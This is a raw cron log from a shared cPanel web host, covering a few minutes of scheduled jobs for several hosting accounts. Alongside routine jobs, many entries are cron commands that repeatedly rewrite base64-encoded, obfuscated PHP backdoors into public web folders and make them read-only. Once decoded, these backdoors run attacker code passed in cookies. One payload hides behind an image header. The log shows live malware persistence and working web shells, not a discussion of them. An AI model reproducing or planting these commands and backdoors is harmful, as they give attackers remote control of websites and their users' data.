Mar  2 14:17:01 medusa CROND[31974]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:17:01 medusa CROND[31972]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:17:01 medusa CROND[31978]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:17:01 medusa CROND[31986]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:17:01 medusa CROND[31989]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:17:01 medusa CROND[31988]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:18:02 medusa CROND[15614]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:18:02 medusa CROND[15821]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  2 14:18:02 medusa CROND[15822]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:18:02 medusa CROND[15824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:18:02 medusa CROND[15825]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:18:02 medusa CROND[15826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:18:02 medusa CROND[15827]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:18:02 medusa CROND[15829]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:18:02 medusa CROND[15832]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:18:02 medusa CROND[15831]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:18:02 medusa CROND[15839]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:18:02 medusa CROND[15840]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:18:02 medusa CROND[15841]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:18:02 medusa CROND[15842]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 14:19:01 medusa CROND[30955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:19:01 medusa CROND[30956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:19:01 medusa CROND[30957]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:19:01 medusa CROND[30958]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:19:01 medusa CROND[30959]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:19:01 medusa CROND[30960]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:19:01 medusa CROND[30961]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 14:19:01 medusa CROND[30962]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:19:01 medusa CROND[30964]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
